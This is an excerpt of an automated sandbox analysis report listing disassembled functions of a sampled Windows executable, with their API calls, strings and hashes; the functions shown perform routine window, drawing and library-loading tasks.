String ID: LanmanNT$ProductType$ServerNT$System\CurrentControlSet\Control\ProductOptions$WinNT
API String ID: 47109696-2530820420
Opcode ID: 069f94f9fa12544f7a36e7bd85e6d1afcaa647915ea6f8fcf756052135ad9446
Instruction ID: b53b4caf4df369742718f420b864b5eadf64457ff5313130662490eff196aabe
Opcode Fuzzy Hash: 069f94f9fa12544f7a36e7bd85e6d1afcaa647915ea6f8fcf756052135ad9446
Instruction Fuzzy Hash: 7E115130704244AADB10FFA59852B5F7BA8DB55B05F6188B7A800A7282D7389E02871D

Function 00494A14 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,?,00000000), ref: 00494A25

Part of subcall function 0041A1E0: CreateFontIndirectA.GDI32(?), ref: 0041A29F

SelectObject.GDI32(00000000,00000000), ref: 00494A47
GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,00494FC5), ref: 00494A5B
GetTextMetricsA.GDI32(00000000,?), ref: 00494A7D
73A1A480.USER32(00000000,00000000,00494AA7,00494AA0,?,00000000,?,?,00000000), ref: 00494A9A

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 00494A52

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Text$A480A570CreateExtentFontIndirectMetricsObjectPointSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 1435929781-222967699
Opcode ID: 2902dc2c583c5dec24c60d58c3a9fd6cff270746e0fce7babd2e3a3436007c92
Instruction ID: 4a1d9e00790e4e8279befe01d539e981fbc0a950f87c09723c3c89301347e02c
Opcode Fuzzy Hash: 2902dc2c583c5dec24c60d58c3a9fd6cff270746e0fce7babd2e3a3436007c92
Instruction Fuzzy Hash: FA015E76A44604AFDB14DBA9CC41E5EB7ECDB48704F610476B604E7281DA78AE008B6C

Function 0041B45A Relevance: 10.6, APIs: 7, Instructions: 57windowCOMMON

Download Yara Rule

APIs

SelectObject.GDI32(00000000,?), ref: 0041B468
SelectObject.GDI32(?,00000000), ref: 0041B477
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B4A3
SelectObject.GDI32(00000000,00000000), ref: 0041B4B1
SelectObject.GDI32(?,00000000), ref: 0041B4BF
DeleteDC.GDI32(00000000), ref: 0041B4C8
DeleteDC.GDI32(?), ref: 0041B4D1

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ObjectSelect$Delete$Stretch
String ID:
API String ID: 1458357782-0
Opcode ID: 72b6a28bf9d60e237e3396a0a8e2fc7d77968e10b7c0149e345d15a7b5d8e936
Instruction ID: d121cbdfe682723b668f1aba97a5ca8eb2ba63952d9ca8216d3140e682204302
Opcode Fuzzy Hash: 72b6a28bf9d60e237e3396a0a8e2fc7d77968e10b7c0149e345d15a7b5d8e936
Instruction Fuzzy Hash: 46115C72E00619ABDB10DAD9DD85FEFB7BCEF08704F144555B614F7281C678AC418BA8

Function 0042338C Relevance: 10.6, APIs: 7, Instructions: 56threadwindowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 004233A7
WindowFromPoint.USER32(?,?), ref: 004233B4
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004233C2
GetCurrentThreadId.KERNEL32 ref: 004233C9
SendMessageA.USER32(00000000,00000084,?,?), ref: 004233E2
SendMessageA.USER32(00000000,00000020,00000000,00000000), ref: 004233F9
SetCursor.USER32(00000000), ref: 0042340B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: c9ba26483528a121f971c2dd70aae3c664ebef1f4767206ef3dc65e1b1b17165
Instruction ID: 5b5036a29de233914ad27f5bfe0a39b591155b03ca34aa4f0141610fd726b6de
Opcode Fuzzy Hash: c9ba26483528a121f971c2dd70aae3c664ebef1f4767206ef3dc65e1b1b17165
Instruction Fuzzy Hash: 3501D4323046102AD6217B755C82E2F26E8DB85B29F60447FF504BB287DA3DAD11936D

Function 00494838 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 00494848
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 00494855
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00494862

Strings

GetMonitorInfoA, xrefs: 0049485C
user32.dll, xrefs: 00494843
MonitorFromRect, xrefs: 0049484F

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
API String ID: 667068680-2254406584
Opcode ID: 21af07142c53872dca5cd0674b34382539a139ddeec0bf3a3c9dc52e9c6734d9
Instruction ID: 57979f0f623c6713f86cfc51a9e85cc39870524a60e3ac3170e58067450f8277
Opcode Fuzzy Hash: 21af07142c53872dca5cd0674b34382539a139ddeec0bf3a3c9dc52e9c6734d9
Instruction Fuzzy Hash: 68F0F69AB01F5526DA20B5A69C42E7B6ACCCBC17A4F150137FD04B73C2E99C8C0242FD

Function 0045D4A8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressInit), ref: 0045D4B1
GetProcAddress.KERNEL32(00000000,BZ2_bzDecompress), ref: 0045D4C1
GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressEnd), ref: 0045D4D1

Strings

BZ2_bzDecompress, xrefs: 0045D4BB
BZ2_bzDecompressInit, xrefs: 0045D4AB
BZ2_bzDecompressEnd, xrefs: 0045D4CB

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc
String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
API String ID: 190572456-212574377
Opcode ID: cecd0a63045edb33e2202c29c90cf8f934e5a60212dd894f2f8d3c432b3cebaf
Instruction ID: 50a43070f27201e9cf87661d87b97551d06431c7276cd5b4b6d770057bc484c9
Opcode Fuzzy Hash: cecd0a63045edb33e2202c29c90cf8f934e5a60212dd894f2f8d3c432b3cebaf
Instruction Fuzzy Hash: 4AF0B2B0D00701DAE724DFB65CC77263A959B6431AF1084379A4D55373D67814498F2D

Function 0042EA14 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 30libraryloaderwindowCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilterEx,00000004,00499934,00457011,004573B4,00456F68,00000000,00000B06,00000000,00000000,00000001,00000000,00000002,00000000,004808CA), ref: 0042EA2D
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EA33
InterlockedExchange.KERNEL32(0049B668,00000001), ref: 0042EA44

Part of subcall function 0042E9A4: GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042EA68,00000004,00499934,00457011,004573B4,00456F68,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E9BA
Part of subcall function 0042E9A4: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E9C0
Part of subcall function 0042E9A4: InterlockedExchange.KERNEL32(0049B660,00000001), ref: 0042E9D1

ChangeWindowMessageFilterEx.USER32(00000000,?,00000001,00000000,00000004,00499934,00457011,004573B4,00456F68,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042EA58

Strings

user32.dll, xrefs: 0042EA28
ChangeWindowMessageFilterEx, xrefs: 0042EA23

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressExchangeHandleInterlockedModuleProc$ChangeFilterMessageWindow
String ID: ChangeWindowMessageFilterEx$user32.dll
API String ID: 142928637-2676053874
Opcode ID: 527a2f903435c6b8eae660c7438eac079e405392c9f84945f8436c24f6679cfa
Instruction ID: b6413d45aefc5bd916056b1696ea31cacbebf8ca5ba9e8247451a7316c99a6de
Opcode Fuzzy Hash: 527a2f903435c6b8eae660c7438eac079e405392c9f84945f8436c24f6679cfa
Instruction Fuzzy Hash: C9E092A1741720EAEE10B7BA7D86FAA2558EB5072DF540037F100A51E1C7BD1C80CE9E

Function 0044C7D4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleacc.dll,?,0044F081), ref: 0044C7E3
GetProcAddress.KERNEL32(00000000,LresultFromObject), ref: 0044C7F4
GetProcAddress.KERNEL32(00000000,CreateStdAccessibleObject), ref: 0044C804

Strings

oleacc.dll, xrefs: 0044C7DE
LresultFromObject, xrefs: 0044C7EE
CreateStdAccessibleObject, xrefs: 0044C7FE

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
API String ID: 2238633743-1050967733
Opcode ID: 20d4d3efedc32434c77936c95fe9c73e42e1c540f2b792c07eccd7c7435f7152
Instruction ID: ee0778b55076bf214b63aaf44073c79067fceb62e20c2f516a440ec7c4faf5ed
Opcode Fuzzy Hash: 20d4d3efedc32434c77936c95fe9c73e42e1c540f2b792c07eccd7c7435f7152
Instruction Fuzzy Hash: 2FF0FE70242302CAF750ABB5FDD97563694E7E471AF14237BE401551A1D7BD4444CB8C

Function 004786B4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00498130), ref: 004786BA
GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 004786C7
GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 004786D7

Strings

kernel32.dll, xrefs: 004786B5
VerSetConditionMask, xrefs: 004786C1
VerifyVersionInfoW, xrefs: 004786D1

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: VerSetConditionMask$VerifyVersionInfoW$kernel32.dll
API String ID: 667068680-222143506
Opcode ID: 037c1e48967f880c8f75eb608e42e3021eac6f548ba3101ad95a3bedc305e175
Instruction ID: 2026d18a05cb2035c6a6e54b58e3f317de058d113ce64fa581f90165bcddcee3
Opcode Fuzzy Hash: 037c1e48967f880c8f75eb608e42e3021eac6f548ba3101ad95a3bedc305e175
Instruction Fuzzy Hash: F5C0E9F06C1701EA9640B7F15CDAD7A2558D520729720943F755EA6192D9BC4C104A6C

Function 0041B664 Relevance: 9.1, APIs: 6, Instructions: 144windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B73D
73A1A570.USER32(?), ref: 0041B749
73A18830.GDI32(00000000,?,00000000,00000000,0041B814,?,?), ref: 0041B77E
73A122A0.GDI32(00000000,00000000,?,00000000,00000000,0041B814,?,?), ref: 0041B78A
73A26310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041B7F2,?,00000000,0041B814,?,?), ref: 0041B7B8
73A18830.GDI32(00000000,00000000,00000000,0041B7F9,?,?,00000000,00000000,0041B7F2,?,00000000,0041B814,?,?), ref: 0041B7EC

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A18830$A122A26310A570Focus
String ID:
API String ID: 3906783838-0
Opcode ID: 7028b3360e085542d185f93eaa985fb71498e3c9d3761fe797ea6f9089370fd6
Instruction ID: 1a6b37f464f6ee1ac690d44aa7d10d16b676852f44f67843991ec4a9ec0a7b01
Opcode Fuzzy Hash: 7028b3360e085542d185f93eaa985fb71498e3c9d3761fe797ea6f9089370fd6
Instruction Fuzzy Hash: D9512070A002099FCF11DFA9C891AEEBBF8EF49704F10446AF514A7790D7799981CBA9

Function 0041B934 Relevance: 9.1, APIs: 6, Instructions: 142windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041BA0F
73A1A570.USER32(?), ref: 0041BA1B
73A18830.GDI32(00000000,?,00000000,00000000,0041BAE1,?,?), ref: 0041BA55
73A122A0.GDI32(00000000,00000000,?,00000000,00000000,0041BAE1,?,?), ref: 0041BA61
73A26310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BABF,?,00000000,0041BAE1,?,?), ref: 0041BA85
73A18830.GDI32(00000000,00000000,00000000,0041BAC6,?,?,00000000,00000000,0041BABF,?,00000000,0041BAE1,?,?), ref: 0041BAB9

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A18830$A122A26310A570Focus
String ID:
API String ID: 3906783838-0
Opcode ID: 6afe2cc59a527faaede1d3d34b45dc336484c23e3dd063350b4c8de36bb0c79b
Instruction ID: 148f6e74122d55113d3717465da8055643ee1b9490db959cdfcac8ccc7d3b8de
Opcode Fuzzy Hash: 6afe2cc59a527faaede1d3d34b45dc336484c23e3dd063350b4c8de36bb0c79b
Instruction Fuzzy Hash: FC513975A002089FDB11DFA9C881AAEBBF9FF49700F114466F904EB750D738AD40CBA8

Function 0041B500 Relevance: 9.1, APIs: 6, Instructions: 113windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B576
73A1A570.USER32(?,00000000,0041B650,?,?,?,?), ref: 0041B582
73A24620.GDI32(?,00000068,00000000,0041B624,?,?,00000000,0041B650,?,?,?,?), ref: 0041B59E
73A4E680.GDI32(?,00000000,00000008,?,?,00000068,00000000,0041B624,?,?,00000000,0041B650,?,?,?,?), ref: 0041B5BB
73A4E680.GDI32(?,00000000,00000008,?,?,00000000,00000008,?,?,00000068,00000000,0041B624,?,?,00000000,0041B650), ref: 0041B5D2
73A1A480.USER32(?,?,0041B62B,?,?), ref: 0041B61E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: E680$A24620A480A570Focus
String ID:
API String ID: 3709697839-0
Opcode ID: b97e33ea795034c912b2e17a9f5d54d6d1d1af920c0d7a51194e8edd97010b3d
Instruction ID: df8759ecd31a85a201270414174f0a8fa00d18147156f7fa6755a0b35bba35d1
Opcode Fuzzy Hash: b97e33ea795034c912b2e17a9f5d54d6d1d1af920c0d7a51194e8edd97010b3d
Instruction Fuzzy Hash: E9410831A00258AFCB10DFA9C885AAFBBB4EF59704F1484AAF500EB351D3389D50CBA5

Function 0045CE6C Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000057,00000000,0045CF38,?,?,?,?,00000000), ref: 0045CED7
SetLastError.KERNEL32(00000000,00000002,?,?,?,0045CFA4,?,00000000,0045CF38,?,?,?,?,00000000), ref: 0045CF16

Strings

CURRENT_USER, xrefs: 0045CEAB
MACHINE, xrefs: 0045CEBA
USERS, xrefs: 0045CEC9
CLASSES_ROOT, xrefs: 0045CE9C

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast
String ID: CLASSES_ROOT$CURRENT_USER$MACHINE$USERS
API String ID: 1452528299-1580325520
Opcode ID: 76cc67341227ff3c05617fb08029e3d04d7592c217e5ac47b77cb7a8c66e2160
Instruction ID: 04ddcdc8736abbc18e914b4e1455ed0448250d7d0c77fa2ba5441d80ccfd4ce1
Opcode Fuzzy Hash: 76cc67341227ff3c05617fb08029e3d04d7592c217e5ac47b77cb7a8c66e2160
Instruction Fuzzy Hash: C7118736204304FFDB11DA91C9C2AAEB69EDB44746F6040776D00967C3D67C9F0AE56D

Function 0041BD84 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BDCD
GetSystemMetrics.USER32(0000000C), ref: 0041BDD7
73A1A570.USER32(00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BDE1
73A24620.GDI32(00000000,0000000E,00000000,0041BE54,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BE08
73A24620.GDI32(00000000,0000000C,00000000,0000000E,00000000,0041BE54,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BE15
73A1A480.USER32(00000000,00000000,0041BE5B,0000000E,00000000,0041BE54,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BE4E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A24620MetricsSystem$A480A570
String ID:
API String ID: 4042297458-0
Opcode ID: b7d5d08e3e19f48413646ae1536af481ff140cf83ce15b3b4f218d501696187d
Instruction ID: 747e2eb1a3f7a7c841cace1b59abe43854f3131f67fff351bf4eed9cd228abed
Opcode Fuzzy Hash: b7d5d08e3e19f48413646ae1536af481ff140cf83ce15b3b4f218d501696187d
Instruction Fuzzy Hash: 98215974E00748AFEB10EFA9C942BEEBBB4EB48714F10842AF514B7280D7785D40CB69

Function 0047DDA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EC), ref: 0047DDAE
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,0046CB69), ref: 0047DDD4
GetWindowLongA.USER32(?,000000EC), ref: 0047DDE4
SetWindowLongA.USER32(?,000000EC,00000000), ref: 0047DE05
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 0047DE19
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 0047DE35

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: 69fb56ec72bb48bf799d73a9f514c3e84a97c3b26dbd79650f0c817e19817d20
Instruction ID: 8d1f2698ea79badf96abf755c5a3f857121e06e6ffc739f26560ae4cefe558a1
Opcode Fuzzy Hash: 69fb56ec72bb48bf799d73a9f514c3e84a97c3b26dbd79650f0c817e19817d20
Instruction Fuzzy Hash: CA0112B5651610ABE700D768DE45F7637E8AF1C324F094266B659DF3E3C738E8408B49

Function 0041B268 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0041A6D8: CreateBrushIndirect.GDI32 ref: 0041A743

UnrealizeObject.GDI32(00000000), ref: 0041B274
SelectObject.GDI32(?,00000000), ref: 0041B286
SetBkColor.GDI32(?,00000000), ref: 0041B2A9
SetBkMode.GDI32(?,00000002), ref: 0041B2B4
SetBkColor.GDI32(?,00000000), ref: 0041B2CF
SetBkMode.GDI32(?,00000001), ref: 0041B2DA

Part of subcall function 0041A050: GetSysColor.USER32(?), ref: 0041A05A

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 040caad6ebeb90478066d2bb7b9115770ac54e43de5888fa90ff69ea82d38fb6
Instruction ID: 416fc8ddf3b290ca22d08e3f0d0fa9d59de125dbf6d826fc2ec32e7be4b681d8
Opcode Fuzzy Hash: 040caad6ebeb90478066d2bb7b9115770ac54e43de5888fa90ff69ea82d38fb6
Instruction Fuzzy Hash: 15F072B56015009FDF00FFAAD9C6E5F67989F043197048456B948DF197C93DD8505B3A

Function 00455DE0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 112libraryloaderCOMMON

Download Yara Rule

APIs

